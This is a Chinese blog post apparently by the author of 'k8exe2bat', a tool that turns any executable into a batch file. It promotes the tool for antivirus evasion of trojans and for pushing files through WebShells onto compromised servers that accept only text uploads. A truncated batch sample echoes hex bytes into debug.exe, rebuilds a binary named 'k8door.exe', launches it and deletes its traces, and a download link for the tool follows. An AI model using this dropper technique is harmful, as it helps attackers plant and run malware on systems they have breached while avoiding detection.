[原创]k8exe2bat任意文件转Bat工具(WebShell无法上传EXE解决方案)

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

http://qqhack8.blog.163.com/blog/static/114147985201126105626755/

这是我2011年的东西了,当时用此方法可免杀很多马,至今依然有很大的用处

比如有一些WebShell，特别菜刀无法直接上传exe文件时(当然该工具可传任意文件)

可通过此方法向目标上传任意文件(菜刀下载功能不可用或没VPS做WEB下载的情况)

现在依旧可用于类似奇葩环境，特别是S2环境很多时候仅能上传文本

[原创]3KB大小 EXE转BAT 工具原理以及编写思路

2011-03-06 22:56:26| 分类：原创工具

这是我在某群里看到别人发出来的一分所谓 “加密的” 批处理研究下

本工具原理以及使用方法如图 “加密” 后的BAT 如同以下源码类似

真正懂编程的朋友说错只要懂点BAT Debug 和 Hex是神马东西的朋友

我相信你一看下面的BAT 代码就知道什怎么写这个工具提示:97编程冠军

附件中那个只有3KB 大小命令行下操作的工具我是用C 写的

运行工具原理.bat 会输出一个样本 k8door.exe 上面有工具的详细编写思路

=================我是分隔线================================

@echo e 0100 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 >>k8team
@echo e 0110 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>k8team
@echo e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>k8team
@echo e 0130 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 >>k8team
。。。。。。。。这里省略N行。。。。。。。。。。。
@echo e 4100 ff
@echo rcx>>k8team
@echo 4000>>k8team
@echo n k8tmp>>k8team
@echo w>>k8team
@echo q>>k8team
@debug<k8team>nul
@Copy /b /y k8tmp k8door.exe
@start k8door.exe
@del k8t*

https://github.com/k8gege/K8tools/blob/master/k8exe2bat.exe